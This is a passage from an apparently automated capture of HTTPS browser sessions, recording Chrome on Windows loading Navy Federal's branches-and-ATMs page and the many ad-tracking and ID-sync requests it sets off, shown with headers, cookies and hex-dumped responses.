Nm6hjXYOy7wGbhxuQ9PvhEScnkTJXccqkVr7PMrmQyX8kfYhsp [TRUNCATED] Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://s.amazon-adsystem.com/iu3?d=generic&ex-fargs=%3Fid%3D6cb2375c-3341-8cb2-b12d-8b0616d5966e%26type%3D55%26m%3D1&ex-fch=416613&ex-src=https://www.navyfederal.org/&ex-hargs=v%3D1.0%3Bc%3D7933585099447%3Bp%3D6CB2375C-3341-8CB2-B12D-8B0616D5966E&cb=755192992926268200&dcc=t Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:20 UTC	452	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:20 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 7408 Connection: close x-amz-rid: G6BP0E7BSY0NKTS3SJJ9 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:20 UTC	7408	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 32 32 64 31 62 39 65 2d 63 34 38 34 2d 34 39 37 33 2d 61 31 34 61 2d 64 37 33 66 32 33 33 63 38 65 36 30 22 3e 20 62 6f 64 79 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 20 7d 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 69 62 2e 61 64 6e 78 73 2e 63 6f 6d 2f 73 65 74 75 69 64 2f 61 39 3f 65 6e 74 69 74 79 3d 31 38 38 26 63 6f 64 65 3d 77 Data Ascii: <html><head><meta name="referrer" content="no-referrer" /><style nonce="922d1b9e-c484-4973-a14a-d73f233c8e60"> body { background-color:transparent } </style></head><body><img width="1" height="1" src="https://ib.adnxs.com/setuid/a9?entity=188&code=w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.6	50190	104.244.42.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	927	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=8fe646c2-4d81-4371-ac38-dd415ddacf00&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:20 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:19 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 9bc361bafce0ad0b strict-transport-security: max-age=0 x-response-time: 87 x-connection-hash: d99bea270580d6bc511ff03c406a840de91fd05aa5e1167ad9abe43df3e62712 connection: close
2024-05-24 22:46:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.6	50183	142.250.186.98	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	837	OUT	GET /ddm/fls/z/dc_pre=CP-8mvyup4YDFeYkBgAdUEEHCg;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html HTTP/1.1 Host: adservice.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: /* X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:20 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:20 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:20 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.6	50184	142.250.186.98	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	839	OUT	GET /ddm/fls/z/dc_pre=CNvcm_yup4YDFUlzQQId92gD5Q;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html HTTP/1.1 Host: adservice.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: /* X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:20 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:20 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:20 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.6	50192	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	1143	OUT	GET /track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2F&upid=4b42dtd&upv=1.1.0&paapi=1 HTTP/1.1 Host: insight.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUYBSgDMgsI9qCM7sGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
2024-05-24 22:46:20 UTC	789	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:20 GMT Content-Type: text/html Content-Length: 919 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:20 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUoAzILCKLBmv3Bk_48EAU4AUIEIgIIAVoHcGNsOGJpeWAB; expires=Sat, 24 May 2025 22:46:20 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:20 UTC	919	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 6e 69 76 65 72 73 61 6c 5f 70 69 78 65 6c 2e 31 2e 31 2e 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 75 6e 69 76 65 72 73 61 6c 50 69 78 65 6c 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 67 6c 6f 62 61 6c 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <html><head> <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script></head><body> <div id="universalPixelContainer"> <script type="text/javascript"> (function(global) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.6	50191	192.132.33.69	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	1628	OUT	GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f46e0e56-6062-4c7b-bbc6-b6f1e2e28664%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A1%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCNvcm_yup4YDFUlzQQId92gD5Q%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6875800667488%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D1576649674%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fbranches-atms.html%3F%22%2C%22fingerprint%22%3A [TRUNCATED] Host: bttrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://9749892.fls.doubleclick.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:20 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/plain Expires: -1 Access-Control-Allow-Origin: * Set-Cookie: GLOBALID=2uKlc8-sIBd987Fnp3-4ZGT-AA4HX1SBdXE4nXbIJrt2QkZpcIzB0vq2m5lU4HRWImr24peqqZQC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:45:52 GMT; path=/; secure; SameSite=None X-ServerName: Track003-iad Date: Fri, 24 May 2024 22:45:51 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.6	50193	35.204.89.238	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	632	OUT	GET /p?cid=463774&cb=sifi_att_20021453318._hp HTTP/1.1 Host: i.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:20 UTC	340	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 24 May 2024 22:46:20 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT
2024-05-24 22:46:20 UTC	46	IN	Data Raw: 32 38 0d 0a 73 69 66 69 5f 61 74 74 5f 32 30 30 32 31 34 35 33 33 31 38 2e 5f 68 70 28 7b 22 70 69 78 65 6c 73 22 3a 5b 5d 7d 29 3b 0d 0a Data Ascii: 28sifi_att_20021453318._hp({"pixels":[]});
2024-05-24 22:46:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.6	50195	34.252.112.229	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	787	OUT	GET /adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=291116a4-3ed1-4243-8e5e-92574127ce52&ona= HTTP/1.1 Host: aa.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVMAAAAAAA
2024-05-24 22:46:21 UTC	813	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:20 GMT Transfer-Encoding: chunked Connection: close Server: AAWebServer P3P: policyref="https://www.agkn.com/p3p/p3p.xml",CP="NOI NID" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: accept, cache-control, origin, x-requested-with, x-file-name, content-type Set-Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; Path=/; Domain=.agkn.com; Expires=Sat, 24-May-2025 22:46:20 GMT; Max-Age=31536000; Secure; SameSite=None Location: https://px0.pbbl.co/adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=291116a4-3ed1-4243-8e5e-92574127ce52&mt=&bd=&cb=1716590780928
2024-05-24 22:46:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.6	50196	34.252.112.229	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	787	OUT	GET /adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=c207c80a-2f7e-4578-8ccb-bdf24f5ca4a9&ona= HTTP/1.1 Host: aa.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVMAAAAAAA
2024-05-24 22:46:21 UTC	813	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:20 GMT Transfer-Encoding: chunked Connection: close Server: AAWebServer P3P: policyref="https://www.agkn.com/p3p/p3p.xml",CP="NOI NID" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: accept, cache-control, origin, x-requested-with, x-file-name, content-type Set-Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; Path=/; Domain=.agkn.com; Expires=Sat, 24-May-2025 22:46:20 GMT; Max-Age=31536000; Secure; SameSite=None Location: https://px0.pbbl.co/adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=c207c80a-2f7e-4578-8ccb-bdf24f5ca4a9&mt=&bd=&cb=1716590780932
2024-05-24 22:46:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.6	50198	34.111.113.62	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	952	OUT	GET /idsync/ex/receive?partner_id=1830&partner_device_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&partner_url=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dtapad HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1716590766667; TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae; TapAd_3WAY_SYNCS=
2024-05-24 22:46:20 UTC	1380	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:20 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1716590766667;Expires=Tue, 23 Jul 2024 22:46:20 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae;Expires=Tue, 23 Jul 2024 22:46:20 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Tue, 23 Jul 2024 22:46:20 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://secure.adnxs.com/getuid?https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Freceive%3Fpartner_id%3DAPPNEXUS%26partner_device_id%3D%24UID%26pt%3Dd437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae%252Chttps%25253A%25252F%25252Fmatch.adsrvr.org%25252Ftrack%25252Fcmf%25252Fgeneric%25253Fttd_pid%25253Dtapad%252C Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.6	50201	104.244.42.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	1064	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=8fe646c2-4d81-4371-ac38-dd415ddacf00&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:21 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:20 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 41781a6699b94ac0 strict-transport-security: max-age=631138519 x-response-time: 82 x-connection-hash: 04cdc6405be45f6b597ecb0f0ee335cc6c00c0cc6ae7d85f04ce0d43b53c27ca connection: close
2024-05-24 22:46:21 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.6	50197	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
